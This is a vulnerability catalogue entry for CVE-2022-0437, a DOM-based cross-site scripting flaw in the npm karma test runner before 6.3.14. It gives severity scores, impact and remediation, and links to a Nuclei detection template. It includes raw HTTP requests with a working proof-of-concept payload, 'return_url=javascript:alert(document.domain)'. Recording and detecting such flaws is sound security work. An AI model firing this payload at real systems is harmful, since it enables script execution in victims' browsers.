| Title | karma-runner DOM-based Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to the latest version of karma-runner that includes proper input sanitization to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12079 |
| CVE ID | CVE-2022-0437 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve oss huntr karma xss karma_project node.js passive vuln |
NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.
GET /karma.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?return_url=javascript:alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0437.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0437.pcap
N/AN/A